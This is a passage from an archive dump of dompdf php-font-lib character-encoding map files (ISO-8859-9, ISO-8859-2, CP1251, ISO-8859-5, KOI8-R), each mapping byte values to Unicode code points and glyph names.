=142	U+00F6	LATIN SMALL LETTER O WITH DIAERESIS
=143	U+00F3	LATIN SMALL LETTER O WITH ACUTE
=144	U+00B0	DEGREE SIGN
=145	U+00EC	LATIN SMALL LETTER I WITH GRAVE
=146	U+00B5	MICRO SIGN
=147	U+00D3	LATIN CAPITAL LETTER O WITH ACUTE
=148	U+00F0	LATIN SMALL LETTER ETH
=149	U+00C4	LATIN CAPITAL LETTER A WITH DIAERESIS
=14A	U+00DD	LATIN CAPITAL LETTER Y WITH ACUTE
=14B	U+00A6	BROKEN BAR
=14C	U+00BD	VULGAR FRACTION ONE HALF
vendor/dompdf/php-font-lib/maps/iso-8859-9.map000066600000011417151150442750014637 0ustar00!00 U+0000 .notdef
!01 U+0001 .notdef
!02 U+0002 .notdef
!03 U+0003 .notdef
!04 U+0004 .notdef
!05 U+0005 .notdef
!06 U+0006 .notdef
!07 U+0007 .notdef
!08 U+0008 .notdef
!09 U+0009 .notdef
!0A U+000A .notdef
!0B U+000B .notdef
!0C U+000C .notdef
!0D U+000D .notdef
!0E U+000E .notdef
!0F U+000F .notdef
!10 U+0010 .notdef
!11 U+0011 .notdef
!12 U+0012 .notdef
!13 U+0013 .notdef
!14 U+0014 .notdef
!15 U+0015 .notdef
!16 U+0016 .notdef
!17 U+0017 .notdef
!18 U+0018 .notdef
!19 U+0019 .notdef
!1A U+001A .notdef
!1B U+001B .notdef
!1C U+001C .notdef
!1D U+001D .notdef
!1E U+001E .notdef
!1F U+001F .notdef
!20 U+0020 space
!21 U+0021 exclam
!22 U+0022 quotedbl
!23 U+0023 numbersign
!24 U+0024 dollar
!25 U+0025 percent
!26 U+0026 ampersand
!27 U+0027 quotesingle
!28 U+0028 parenleft
!29 U+0029 parenright
!2A U+002A asterisk
!2B U+002B plus
!2C U+002C comma
!2D U+002D hyphen
!2E U+002E period
!2F U+002F slash
!30 U+0030 zero
!31 U+0031 one
!32 U+0032 two
!33 U+0033 three
!34 U+0034 four
!35 U+0035 five
!36 U+0036 six
!37 U+0037 seven
!38 U+0038 eight
!39 U+0039 nine
!3A U+003A colon
!3B U+003B semicolon
!3C U+003C less
!3D U+003D equal
!3E U+003E greater
!3F U+003F question
!40 U+0040 at
!41 U+0041 A
!42 U+0042 B
!43 U+0043 C
!44 U+0044 D
!45 U+0045 E
!46 U+0046 F
!47 U+0047 G
!48 U+0048 H
!49 U+0049 I
!4A U+004A J
!4B U+004B K
!4C U+004C L
!4D U+004D M
!4E U+004E N
!4F U+004F O
!50 U+0050 P
!51 U+0051 Q
!52 U+0052 R
!53 U+0053 S
!54 U+0054 T
!55 U+0055 U
!56 U+0056 V
!57 U+0057 W
!58 U+0058 X
!59 U+0059 Y
!5A U+005A Z
!5B U+005B bracketleft
!5C U+005C backslash
!5D U+005D bracketright
!5E U+005E asciicircum
!5F U+005F underscore
!60 U+0060 grave
!61 U+0061 a
!62 U+0062 b
!63 U+0063 c
!64 U+0064 d
!65 U+0065 e
!66 U+0066 f
!67 U+0067 g
!68 U+0068 h
!69 U+0069 i
!6A U+006A j
!6B U+006B k
!6C U+006C l
!6D U+006D m
!6E U+006E n
!6F U+006F o
!70 U+0070 p
!71 U+0071 q
!72 U+0072 r
!73 U+0073 s
!74 U+0074 t
!75 U+0075 u
!76 U+0076 v
!77 U+0077 w
!78 U+0078 x
!79 U+0079 y
!7A U+007A z
!7B U+007B braceleft
!7C U+007C bar
!7D U+007D braceright
!7E U+007E asciitilde
!7F U+007F .notdef
!80 U+0080 .notdef
!81 U+0081 .notdef
!82 U+0082 .notdef
!83 U+0083 .notdef
!84 U+0084 .notdef
!85 U+0085 .notdef
!86 U+0086 .notdef
!87 U+0087 .notdef
!88 U+0088 .notdef
!89 U+0089 .notdef
!8A U+008A .notdef
!8B U+008B .notdef
!8C U+008C .notdef
!8D U+008D .notdef
!8E U+008E .notdef
!8F U+008F .notdef
!90 U+0090 .notdef
!91 U+0091 .notdef
!92 U+0092 .notdef
!93 U+0093 .notdef
!94 U+0094 .notdef
!95 U+0095 .notdef
!96 U+0096 .notdef
!97 U+0097 .notdef
!98 U+0098 .notdef
!99 U+0099 .notdef
!9A U+009A .notdef
!9B U+009B .notdef
!9C U+009C .notdef
!9D U+009D .notdef
!9E U+009E .notdef
!9F U+009F .notdef
!A0 U+00A0 space
!A1 U+00A1 exclamdown
!A2 U+00A2 cent
!A3 U+00A3 sterling
!A4 U+00A4 currency
!A5 U+00A5 yen
!A6 U+00A6 brokenbar
!A7 U+00A7 section
!A8 U+00A8 dieresis
!A9 U+00A9 copyright
!AA U+00AA ordfeminine
!AB U+00AB guillemotleft
!AC U+00AC logicalnot
!AD U+00AD hyphen
!AE U+00AE registered
!AF U+00AF macron
!B0 U+00B0 degree
!B1 U+00B1 plusminus
!B2 U+00B2 twosuperior
!B3 U+00B3 threesuperior
!B4 U+00B4 acute
!B5 U+00B5 mu
!B6 U+00B6 paragraph
!B7 U+00B7 periodcentered
!B8 U+00B8 cedilla
!B9 U+00B9 onesuperior
!BA U+00BA ordmasculine
!BB U+00BB guillemotright
!BC U+00BC onequarter
!BD U+00BD onehalf
!BE U+00BE threequarters
!BF U+00BF questiondown
!C0 U+00C0 Agrave
!C1 U+00C1 Aacute
!C2 U+00C2 Acircumflex
!C3 U+00C3 Atilde
!C4 U+00C4 Adieresis
!C5 U+00C5 Aring
!C6 U+00C6 AE
!C7 U+00C7 Ccedilla
!C8 U+00C8 Egrave
!C9 U+00C9 Eacute
!CA U+00CA Ecircumflex
!CB U+00CB Edieresis
!CC U+00CC Igrave
!CD U+00CD Iacute
!CE U+00CE Icircumflex
!CF U+00CF Idieresis
!D0 U+011E Gbreve
!D1 U+00D1 Ntilde
!D2 U+00D2 Ograve
!D3 U+00D3 Oacute
!D4 U+00D4 Ocircumflex
!D5 U+00D5 Otilde
!D6 U+00D6 Odieresis
!D7 U+00D7 multiply
!D8 U+00D8 Oslash
!D9 U+00D9 Ugrave
!DA U+00DA Uacute
!DB U+00DB Ucircumflex
!DC U+00DC Udieresis
!DD U+0130 Idotaccent
!DE U+015E Scedilla
!DF U+00DF germandbls
!E0 U+00E0 agrave
!E1 U+00E1 aacute
!E2 U+00E2 acircumflex
!E3 U+00E3 atilde
!E4 U+00E4 adieresis
!E5 U+00E5 aring
!E6 U+00E6 ae
!E7 U+00E7 ccedilla
!E8 U+00E8 egrave
!E9 U+00E9 eacute
!EA U+00EA ecircumflex
!EB U+00EB edieresis
!EC U+00EC igrave
!ED U+00ED iacute
!EE U+00EE icircumflex
!EF U+00EF idieresis
!F0 U+011F gbreve
!F1 U+00F1 ntilde
!F2 U+00F2 ograve
!F3 U+00F3 oacute
!F4 U+00F4 ocircumflex
!F5 U+00F5 otilde
!F6 U+00F6 odieresis
!F7 U+00F7 divide
!F8 U+00F8 oslash
!F9 U+00F9 ugrave
!FA U+00FA uacute
!FB U+00FB ucircumflex
!FC U+00FC udieresis
!FD U+0131 dotlessi
!FE U+015F scedilla
!FF U+00FF ydieresis
vendor/dompdf/php-font-lib/maps/iso-8859-2.map000066600000011331151150442750014623 0ustar00!00 U+0000 .notdef
!01 U+0001 .notdef
!02 U+0002 .notdef
!03 U+0003 .notdef
!04 U+0004 .notdef
!05 U+0005 .notdef
!06 U+0006 .notdef
!07 U+0007 .notdef
!08 U+0008 .notdef
!09 U+0009 .notdef
!0A U+000A .notdef
!0B U+000B .notdef
!0C U+000C .notdef
!0D U+000D .notdef
!0E U+000E .notdef
!0F U+000F .notdef
!10 U+0010 .notdef
!11 U+0011 .notdef
!12 U+0012 .notdef
!13 U+0013 .notdef
!14 U+0014 .notdef
!15 U+0015 .notdef
!16 U+0016 .notdef
!17 U+0017 .notdef
!18 U+0018 .notdef
!19 U+0019 .notdef
!1A U+001A .notdef
!1B U+001B .notdef
!1C U+001C .notdef
!1D U+001D .notdef
!1E U+001E .notdef
!1F U+001F .notdef
!20 U+0020 space
!21 U+0021 exclam
!22 U+0022 quotedbl
!23 U+0023 numbersign
!24 U+0024 dollar
!25 U+0025 percent
!26 U+0026 ampersand
!27 U+0027 quotesingle
!28 U+0028 parenleft
!29 U+0029 parenright
!2A U+002A asterisk
!2B U+002B plus
!2C U+002C comma
!2D U+002D hyphen
!2E U+002E period
!2F U+002F slash
!30 U+0030 zero
!31 U+0031 one
!32 U+0032 two
!33 U+0033 three
!34 U+0034 four
!35 U+0035 five
!36 U+0036 six
!37 U+0037 seven
!38 U+0038 eight
!39 U+0039 nine
!3A U+003A colon
!3B U+003B semicolon
!3C U+003C less
!3D U+003D equal
!3E U+003E greater
!3F U+003F question
!40 U+0040 at
!41 U+0041 A
!42 U+0042 B
!43 U+0043 C
!44 U+0044 D
!45 U+0045 E
!46 U+0046 F
!47 U+0047 G
!48 U+0048 H
!49 U+0049 I
!4A U+004A J
!4B U+004B K
!4C U+004C L
!4D U+004D M
!4E U+004E N
!4F U+004F O
!50 U+0050 P
!51 U+0051 Q
!52 U+0052 R
!53 U+0053 S
!54 U+0054 T
!55 U+0055 U
!56 U+0056 V
!57 U+0057 W
!58 U+0058 X
!59 U+0059 Y
!5A U+005A Z
!5B U+005B bracketleft
!5C U+005C backslash
!5D U+005D bracketright
!5E U+005E asciicircum
!5F U+005F underscore
!60 U+0060 grave
!61 U+0061 a
!62 U+0062 b
!63 U+0063 c
!64 U+0064 d
!65 U+0065 e
!66 U+0066 f
!67 U+0067 g
!68 U+0068 h
!69 U+0069 i
!6A U+006A j
!6B U+006B k
!6C U+006C l
!6D U+006D m
!6E U+006E n
!6F U+006F o
!70 U+0070 p
!71 U+0071 q
!72 U+0072 r
!73 U+0073 s
!74 U+0074 t
!75 U+0075 u
!76 U+0076 v
!77 U+0077 w
!78 U+0078 x
!79 U+0079 y
!7A U+007A z
!7B U+007B braceleft
!7C U+007C bar
!7D U+007D braceright
!7E U+007E asciitilde
!7F U+007F .notdef
!80 U+0080 .notdef
!81 U+0081 .notdef
!82 U+0082 .notdef
!83 U+0083 .notdef
!84 U+0084 .notdef
!85 U+0085 .notdef
!86 U+0086 .notdef
!87 U+0087 .notdef
!88 U+0088 .notdef
!89 U+0089 .notdef
!8A U+008A .notdef
!8B U+008B .notdef
!8C U+008C .notdef
!8D U+008D .notdef
!8E U+008E .notdef
!8F U+008F .notdef
!90 U+0090 .notdef
!91 U+0091 .notdef
!92 U+0092 .notdef
!93 U+0093 .notdef
!94 U+0094 .notdef
!95 U+0095 .notdef
!96 U+0096 .notdef
!97 U+0097 .notdef
!98 U+0098 .notdef
!99 U+0099 .notdef
!9A U+009A .notdef
!9B U+009B .notdef
!9C U+009C .notdef
!9D U+009D .notdef
!9E U+009E .notdef
!9F U+009F .notdef
!A0 U+00A0 space
!A1 U+0104 Aogonek
!A2 U+02D8 breve
!A3 U+0141 Lslash
!A4 U+00A4 currency
!A5 U+013D Lcaron
!A6 U+015A Sacute
!A7 U+00A7 section
!A8 U+00A8 dieresis
!A9 U+0160 Scaron
!AA U+015E Scedilla
!AB U+0164 Tcaron
!AC U+0179 Zacute
!AD U+00AD hyphen
!AE U+017D Zcaron
!AF U+017B Zdotaccent
!B0 U+00B0 degree
!B1 U+0105 aogonek
!B2 U+02DB ogonek
!B3 U+0142 lslash
!B4 U+00B4 acute
!B5 U+013E lcaron
!B6 U+015B sacute
!B7 U+02C7 caron
!B8 U+00B8 cedilla
!B9 U+0161 scaron
!BA U+015F scedilla
!BB U+0165 tcaron
!BC U+017A zacute
!BD U+02DD hungarumlaut
!BE U+017E zcaron
!BF U+017C zdotaccent
!C0 U+0154 Racute
!C1 U+00C1 Aacute
!C2 U+00C2 Acircumflex
!C3 U+0102 Abreve
!C4 U+00C4 Adieresis
!C5 U+0139 Lacute
!C6 U+0106 Cacute
!C7 U+00C7 Ccedilla
!C8 U+010C Ccaron
!C9 U+00C9 Eacute
!CA U+0118 Eogonek
!CB U+00CB Edieresis
!CC U+011A Ecaron
!CD U+00CD Iacute
!CE U+00CE Icircumflex
!CF U+010E Dcaron
!D0 U+0110 Dcroat
!D1 U+0143 Nacute
!D2 U+0147 Ncaron
!D3 U+00D3 Oacute
!D4 U+00D4 Ocircumflex
!D5 U+0150 Ohungarumlaut
!D6 U+00D6 Odieresis
!D7 U+00D7 multiply
!D8 U+0158 Rcaron
!D9 U+016E Uring
!DA U+00DA Uacute
!DB U+0170 Uhungarumlaut
!DC U+00DC Udieresis
!DD U+00DD Yacute
!DE U+0162 Tcommaaccent
!DF U+00DF germandbls
!E0 U+0155 racute
!E1 U+00E1 aacute
!E2 U+00E2 acircumflex
!E3 U+0103 abreve
!E4 U+00E4 adieresis
!E5 U+013A lacute
!E6 U+0107 cacute
!E7 U+00E7 ccedilla
!E8 U+010D ccaron
!E9 U+00E9 eacute
!EA U+0119 eogonek
!EB U+00EB edieresis
!EC U+011B ecaron
!ED U+00ED iacute
!EE U+00EE icircumflex
!EF U+010F dcaron
!F0 U+0111 dcroat
!F1 U+0144 nacute
!F2 U+0148 ncaron
!F3 U+00F3 oacute
!F4 U+00F4 ocircumflex
!F5 U+0151 ohungarumlaut
!F6 U+00F6 odieresis
!F7 U+00F7 divide
!F8 U+0159 rcaron
!F9 U+016F uring
!FA U+00FA uacute
!FB U+0171 uhungarumlaut
!FC U+00FC udieresis
!FD U+00FD yacute
!FE U+0163 tcommaaccent
!FF U+02D9 dotaccent
vendor/dompdf/php-font-lib/maps/cp1251.map000066600000011647151150442750014204 0ustar00!00 U+0000 .notdef
!01 U+0001 .notdef
!02 U+0002 .notdef
!03 U+0003 .notdef
!04 U+0004 .notdef
!05 U+0005 .notdef
!06 U+0006 .notdef
!07 U+0007 .notdef
!08 U+0008 .notdef
!09 U+0009 .notdef
!0A U+000A .notdef
!0B U+000B .notdef
!0C U+000C .notdef
!0D U+000D .notdef
!0E U+000E .notdef
!0F U+000F .notdef
!10 U+0010 .notdef
!11 U+0011 .notdef
!12 U+0012 .notdef
!13 U+0013 .notdef
!14 U+0014 .notdef
!15 U+0015 .notdef
!16 U+0016 .notdef
!17 U+0017 .notdef
!18 U+0018 .notdef
!19 U+0019 .notdef
!1A U+001A .notdef
!1B U+001B .notdef
!1C U+001C .notdef
!1D U+001D .notdef
!1E U+001E .notdef
!1F U+001F .notdef
!20 U+0020 space
!21 U+0021 exclam
!22 U+0022 quotedbl
!23 U+0023 numbersign
!24 U+0024 dollar
!25 U+0025 percent
!26 U+0026 ampersand
!27 U+0027 quotesingle
!28 U+0028 parenleft
!29 U+0029 parenright
!2A U+002A asterisk
!2B U+002B plus
!2C U+002C comma
!2D U+002D hyphen
!2E U+002E period
!2F U+002F slash
!30 U+0030 zero
!31 U+0031 one
!32 U+0032 two
!33 U+0033 three
!34 U+0034 four
!35 U+0035 five
!36 U+0036 six
!37 U+0037 seven
!38 U+0038 eight
!39 U+0039 nine
!3A U+003A colon
!3B U+003B semicolon
!3C U+003C less
!3D U+003D equal
!3E U+003E greater
!3F U+003F question
!40 U+0040 at
!41 U+0041 A
!42 U+0042 B
!43 U+0043 C
!44 U+0044 D
!45 U+0045 E
!46 U+0046 F
!47 U+0047 G
!48 U+0048 H
!49 U+0049 I
!4A U+004A J
!4B U+004B K
!4C U+004C L
!4D U+004D M
!4E U+004E N
!4F U+004F O
!50 U+0050 P
!51 U+0051 Q
!52 U+0052 R
!53 U+0053 S
!54 U+0054 T
!55 U+0055 U
!56 U+0056 V
!57 U+0057 W
!58 U+0058 X
!59 U+0059 Y
!5A U+005A Z
!5B U+005B bracketleft
!5C U+005C backslash
!5D U+005D bracketright
!5E U+005E asciicircum
!5F U+005F underscore
!60 U+0060 grave
!61 U+0061 a
!62 U+0062 b
!63 U+0063 c
!64 U+0064 d
!65 U+0065 e
!66 U+0066 f
!67 U+0067 g
!68 U+0068 h
!69 U+0069 i
!6A U+006A j
!6B U+006B k
!6C U+006C l
!6D U+006D m
!6E U+006E n
!6F U+006F o
!70 U+0070 p
!71 U+0071 q
!72 U+0072 r
!73 U+0073 s
!74 U+0074 t
!75 U+0075 u
!76 U+0076 v
!77 U+0077 w
!78 U+0078 x
!79 U+0079 y
!7A U+007A z
!7B U+007B braceleft
!7C U+007C bar
!7D U+007D braceright
!7E U+007E asciitilde
!7F U+007F .notdef
!80 U+0402 afii10051
!81 U+0403 afii10052
!82 U+201A quotesinglbase
!83 U+0453 afii10100
!84 U+201E quotedblbase
!85 U+2026 ellipsis
!86 U+2020 dagger
!87 U+2021 daggerdbl
!88 U+20AC Euro
!89 U+2030 perthousand
!8A U+0409 afii10058
!8B U+2039 guilsinglleft
!8C U+040A afii10059
!8D U+040C afii10061
!8E U+040B afii10060
!8F U+040F afii10145
!90 U+0452 afii10099
!91 U+2018 quoteleft
!92 U+2019 quoteright
!93 U+201C quotedblleft
!94 U+201D quotedblright
!95 U+2022 bullet
!96 U+2013 endash
!97 U+2014 emdash
!99 U+2122 trademark
!9A U+0459 afii10106
!9B U+203A guilsinglright
!9C U+045A afii10107
!9D U+045C afii10109
!9E U+045B afii10108
!9F U+045F afii10193
!A0 U+00A0 space
!A1 U+040E afii10062
!A2 U+045E afii10110
!A3 U+0408 afii10057
!A4 U+00A4 currency
!A5 U+0490 afii10050
!A6 U+00A6 brokenbar
!A7 U+00A7 section
!A8 U+0401 afii10023
!A9 U+00A9 copyright
!AA U+0404 afii10053
!AB U+00AB guillemotleft
!AC U+00AC logicalnot
!AD U+00AD hyphen
!AE U+00AE registered
!AF U+0407 afii10056
!B0 U+00B0 degree
!B1 U+00B1 plusminus
!B2 U+0406 afii10055
!B3 U+0456 afii10103
!B4 U+0491 afii10098
!B5 U+00B5 mu
!B6 U+00B6 paragraph
!B7 U+00B7 periodcentered
!B8 U+0451 afii10071
!B9 U+2116 afii61352
!BA U+0454 afii10101
!BB U+00BB guillemotright
!BC U+0458 afii10105
!BD U+0405 afii10054
!BE U+0455 afii10102
!BF U+0457 afii10104
!C0 U+0410 afii10017
!C1 U+0411 afii10018
!C2 U+0412 afii10019
!C3 U+0413 afii10020
!C4 U+0414 afii10021
!C5 U+0415 afii10022
!C6 U+0416 afii10024
!C7 U+0417 afii10025
!C8 U+0418 afii10026
!C9 U+0419 afii10027
!CA U+041A afii10028
!CB U+041B afii10029
!CC U+041C afii10030
!CD U+041D afii10031
!CE U+041E afii10032
!CF U+041F afii10033
!D0 U+0420 afii10034
!D1 U+0421 afii10035
!D2 U+0422 afii10036
!D3 U+0423 afii10037
!D4 U+0424 afii10038
!D5 U+0425 afii10039
!D6 U+0426 afii10040
!D7 U+0427 afii10041
!D8 U+0428 afii10042
!D9 U+0429 afii10043
!DA U+042A afii10044
!DB U+042B afii10045
!DC U+042C afii10046
!DD U+042D afii10047
!DE U+042E afii10048
!DF U+042F afii10049
!E0 U+0430 afii10065
!E1 U+0431 afii10066
!E2 U+0432 afii10067
!E3 U+0433 afii10068
!E4 U+0434 afii10069
!E5 U+0435 afii10070
!E6 U+0436 afii10072
!E7 U+0437 afii10073
!E8 U+0438 afii10074
!E9 U+0439 afii10075
!EA U+043A afii10076
!EB U+043B afii10077
!EC U+043C afii10078
!ED U+043D afii10079
!EE U+043E afii10080
!EF U+043F afii10081
!F0 U+0440 afii10082
!F1 U+0441 afii10083
!F2 U+0442 afii10084
!F3 U+0443 afii10085
!F4 U+0444 afii10086
!F5 U+0445 afii10087
!F6 U+0446 afii10088
!F7 U+0447 afii10089
!F8 U+0448 afii10090
!F9 U+0449 afii10091
!FA U+044A afii10092
!FB U+044B afii10093
!FC U+044C afii10094
!FD U+044D afii10095
!FE U+044E afii10096
!FF U+044F afii10097
vendor/dompdf/php-font-lib/maps/iso-8859-5.map000066600000011557151150442750014640 0ustar00!00 U+0000 .notdef
!01 U+0001 .notdef
!02 U+0002 .notdef
!03 U+0003 .notdef
!04 U+0004 .notdef
!05 U+0005 .notdef
!06 U+0006 .notdef
!07 U+0007 .notdef
!08 U+0008 .notdef
!09 U+0009 .notdef
!0A U+000A .notdef
!0B U+000B .notdef
!0C U+000C .notdef
!0D U+000D .notdef
!0E U+000E .notdef
!0F U+000F .notdef
!10 U+0010 .notdef
!11 U+0011 .notdef
!12 U+0012 .notdef
!13 U+0013 .notdef
!14 U+0014 .notdef
!15 U+0015 .notdef
!16 U+0016 .notdef
!17 U+0017 .notdef
!18 U+0018 .notdef
!19 U+0019 .notdef
!1A U+001A .notdef
!1B U+001B .notdef
!1C U+001C .notdef
!1D U+001D .notdef
!1E U+001E .notdef
!1F U+001F .notdef
!20 U+0020 space
!21 U+0021 exclam
!22 U+0022 quotedbl
!23 U+0023 numbersign
!24 U+0024 dollar
!25 U+0025 percent
!26 U+0026 ampersand
!27 U+0027 quotesingle
!28 U+0028 parenleft
!29 U+0029 parenright
!2A U+002A asterisk
!2B U+002B plus
!2C U+002C comma
!2D U+002D hyphen
!2E U+002E period
!2F U+002F slash
!30 U+0030 zero
!31 U+0031 one
!32 U+0032 two
!33 U+0033 three
!34 U+0034 four
!35 U+0035 five
!36 U+0036 six
!37 U+0037 seven
!38 U+0038 eight
!39 U+0039 nine
!3A U+003A colon
!3B U+003B semicolon
!3C U+003C less
!3D U+003D equal
!3E U+003E greater
!3F U+003F question
!40 U+0040 at
!41 U+0041 A
!42 U+0042 B
!43 U+0043 C
!44 U+0044 D
!45 U+0045 E
!46 U+0046 F
!47 U+0047 G
!48 U+0048 H
!49 U+0049 I
!4A U+004A J
!4B U+004B K
!4C U+004C L
!4D U+004D M
!4E U+004E N
!4F U+004F O
!50 U+0050 P
!51 U+0051 Q
!52 U+0052 R
!53 U+0053 S
!54 U+0054 T
!55 U+0055 U
!56 U+0056 V
!57 U+0057 W
!58 U+0058 X
!59 U+0059 Y
!5A U+005A Z
!5B U+005B bracketleft
!5C U+005C backslash
!5D U+005D bracketright
!5E U+005E asciicircum
!5F U+005F underscore
!60 U+0060 grave
!61 U+0061 a
!62 U+0062 b
!63 U+0063 c
!64 U+0064 d
!65 U+0065 e
!66 U+0066 f
!67 U+0067 g
!68 U+0068 h
!69 U+0069 i
!6A U+006A j
!6B U+006B k
!6C U+006C l
!6D U+006D m
!6E U+006E n
!6F U+006F o
!70 U+0070 p
!71 U+0071 q
!72 U+0072 r
!73 U+0073 s
!74 U+0074 t
!75 U+0075 u
!76 U+0076 v
!77 U+0077 w
!78 U+0078 x
!79 U+0079 y
!7A U+007A z
!7B U+007B braceleft
!7C U+007C bar
!7D U+007D braceright
!7E U+007E asciitilde
!7F U+007F .notdef
!80 U+0080 .notdef
!81 U+0081 .notdef
!82 U+0082 .notdef
!83 U+0083 .notdef
!84 U+0084 .notdef
!85 U+0085 .notdef
!86 U+0086 .notdef
!87 U+0087 .notdef
!88 U+0088 .notdef
!89 U+0089 .notdef
!8A U+008A .notdef
!8B U+008B .notdef
!8C U+008C .notdef
!8D U+008D .notdef
!8E U+008E .notdef
!8F U+008F .notdef
!90 U+0090 .notdef
!91 U+0091 .notdef
!92 U+0092 .notdef
!93 U+0093 .notdef
!94 U+0094 .notdef
!95 U+0095 .notdef
!96 U+0096 .notdef
!97 U+0097 .notdef
!98 U+0098 .notdef
!99 U+0099 .notdef
!9A U+009A .notdef
!9B U+009B .notdef
!9C U+009C .notdef
!9D U+009D .notdef
!9E U+009E .notdef
!9F U+009F .notdef
!A0 U+00A0 space
!A1 U+0401 afii10023
!A2 U+0402 afii10051
!A3 U+0403 afii10052
!A4 U+0404 afii10053
!A5 U+0405 afii10054
!A6 U+0406 afii10055
!A7 U+0407 afii10056
!A8 U+0408 afii10057
!A9 U+0409 afii10058
!AA U+040A afii10059
!AB U+040B afii10060
!AC U+040C afii10061
!AD U+00AD hyphen
!AE U+040E afii10062
!AF U+040F afii10145
!B0 U+0410 afii10017
!B1 U+0411 afii10018
!B2 U+0412 afii10019
!B3 U+0413 afii10020
!B4 U+0414 afii10021
!B5 U+0415 afii10022
!B6 U+0416 afii10024
!B7 U+0417 afii10025
!B8 U+0418 afii10026
!B9 U+0419 afii10027
!BA U+041A afii10028
!BB U+041B afii10029
!BC U+041C afii10030
!BD U+041D afii10031
!BE U+041E afii10032
!BF U+041F afii10033
!C0 U+0420 afii10034
!C1 U+0421 afii10035
!C2 U+0422 afii10036
!C3 U+0423 afii10037
!C4 U+0424 afii10038
!C5 U+0425 afii10039
!C6 U+0426 afii10040
!C7 U+0427 afii10041
!C8 U+0428 afii10042
!C9 U+0429 afii10043
!CA U+042A afii10044
!CB U+042B afii10045
!CC U+042C afii10046
!CD U+042D afii10047
!CE U+042E afii10048
!CF U+042F afii10049
!D0 U+0430 afii10065
!D1 U+0431 afii10066
!D2 U+0432 afii10067
!D3 U+0433 afii10068
!D4 U+0434 afii10069
!D5 U+0435 afii10070
!D6 U+0436 afii10072
!D7 U+0437 afii10073
!D8 U+0438 afii10074
!D9 U+0439 afii10075
!DA U+043A afii10076
!DB U+043B afii10077
!DC U+043C afii10078
!DD U+043D afii10079
!DE U+043E afii10080
!DF U+043F afii10081
!E0 U+0440 afii10082
!E1 U+0441 afii10083
!E2 U+0442 afii10084
!E3 U+0443 afii10085
!E4 U+0444 afii10086
!E5 U+0445 afii10087
!E6 U+0446 afii10088
!E7 U+0447 afii10089
!E8 U+0448 afii10090
!E9 U+0449 afii10091
!EA U+044A afii10092
!EB U+044B afii10093
!EC U+044C afii10094
!ED U+044D afii10095
!EE U+044E afii10096
!EF U+044F afii10097
!F0 U+2116 afii61352
!F1 U+0451 afii10071
!F2 U+0452 afii10099
!F3 U+0453 afii10100
!F4 U+0454 afii10101
!F5 U+0455 afii10102
!F6 U+0456 afii10103
!F7 U+0457 afii10104
!F8 U+0458 afii10105
!F9 U+0459 afii10106
!FA U+045A afii10107
!FB U+045B afii10108
!FC U+045C afii10109
!FD U+00A7 section
!FE U+045E afii10110
!FF U+045F afii10193
vendor/dompdf/php-font-lib/maps/koi8-r.map000066600000011603151150442750014372 0ustar00!00 U+0000 .notdef
!01 U+0001 .notdef
!02 U+0002 .notdef
!03 U+0003 .notdef
!04 U+0004 .notdef
!05 U+0005 .notdef
!06 U+0006 .notdef
!07 U+0007 .notdef
!08 U+0008 .notdef
!09 U+0009 .notdef
!0A U+000A .notdef
!0B U+000B .notdef
!0C U+000C .notdef
!0D U+000D .notdef
!0E U+000E .notdef
!0F U+000F .notdef
!10 U+0010 .notdef
!11 U+0011 .notdef
!12 U+0012 .notdef
!13 U+0013 .notdef
!14 U+0014 .notdef
!15 U+0015 .notdef
!16 U+0016 .notdef
!17 U+0017 .notdef
!18 U+0018 .notdef
!19 U+0019 .notdef
!1A U+001A .notdef
!1B U+001B .notdef
!1C U+001C .notdef
!1D U+001D .notdef
!1E U+001E .notdef
!1F U+001F .notdef
!20 U+0020 space
!21 U+0021 exclam
!22 U+0022 quotedbl
!23 U+0023 numbersign
!24 U+0024 dollar
!25 U+0025 percent
!26 U+0026 ampersand
!27 U+0027 quotesingle
!28 U+0028 parenleft
!29 U+0029 parenright
!2A U+002A asterisk
!2B U+002B plus
!2C U+002C comma
!2D U+002D hyphen
!2E U+002E period
!2F U+002F slash
!30 U+0030 zero
!31 U+0031 one
!32 U+0032 two
!33 U+0033 three
!34 U+0034 four
!35 U+0035 five
!36 U+0036 six
!37 U+0037 seven
!38 U+0038 eight
!39 U+0039 nine
!3A U+003A colon
!3B U+003B semicolon
!3C U+003C less
!3D U+003D equal
!3E U+003E greater
!3F U+003F question
!40 U+0040 at
!41 U+0041 A
!42 U+0042 B
!43 U+0043 C
!44 U+0044 D
!45 U+0045 E
!46 U+0046 F
!47 U+0047 G
!48 U+0048 H
!49 U+0049 I
!4A U+004A J
!4B U+004B K
!4C U+004C L
!4D U+004D M
!4E U+004E N
!4F U+004F O
!50 U+0050 P
!51 U+0051 Q
!52 U+0052 R
!53 U+0053 S
!54 U+0054 T
!55 U+0055 U
!56 U+0056 V
!57 U+0057 W
!58 U+0058 X
!59 U+0059 Y
!5A U+005A Z
!5B U+005B bracketleft
!5C U+005C backslash
!5D U+005D bracketright
!5E U+005E asciicircum
!5F U+005F underscore
!60 U+0060 grave
!61 U+0061 a
!62 U+0062 b
!63 U+0063 c
!64 U+0064 d
!65 U+0065 e
!66 U+0066 f
!67 U+0067 g
!68 U+0068 h
!69 U+0069 i
!6A U+006A j
!6B U+006B k
!6C U+006C l
!6D U+006D m
!6E U+006E n
!6F U+006F o
!70 U+0070 p
!71 U+0071 q
!72 U+0072 r
!73 U+0073 s
!74 U+0074 t
!75 U+0075 u
!76 U+0076 v
!77 U+0077 w
!78 U+0078 x
!79 U+0079 y
!7A U+007A z
!7B U+007B braceleft
!7C U+007C bar
!7D U+007D braceright
!7E U+007E asciitilde
!7F U+007F .notdef
!80 U+2500 SF100000
!81 U+2502 SF110000
!82 U+250C SF010000
!83 U+2510 SF030000
!84 U+2514 SF020000
!85 U+2518 SF040000
!86 U+251C SF080000
!87 U+2524 SF090000
!88 U+252C SF060000
!89 U+2534 SF070000
!8A U+253C SF050000
!8B U+2580 upblock
!8C U+2584 dnblock
!8D U+2588 block
!8E U+258C lfblock
!8F U+2590 rtblock
!90 U+2591 ltshade
!91 U+2592 shade
!92 U+2593 dkshade
!93 U+2320 integraltp
!94 U+25A0 filledbox
!95 U+2219 periodcentered
!96 U+221A radical
!97 U+2248 approxequal
!98 U+2264 lessequal
!99 U+2265 greaterequal
!9A U+00A0 space
!9B U+2321 integralbt
!9C U+00B0 degree
!9D U+00B2 twosuperior
!9E U+00B7 periodcentered
!9F U+00F7 divide
!A0 U+2550 SF430000
!A1 U+2551 SF240000
!A2 U+2552 SF510000
!A3 U+0451 afii10071
!A4 U+2553 SF520000
!A5 U+2554 SF390000
!A6 U+2555 SF220000
!A7 U+2556 SF210000
!A8 U+2557 SF250000
!A9 U+2558 SF500000
!AA U+2559 SF490000
!AB U+255A SF380000
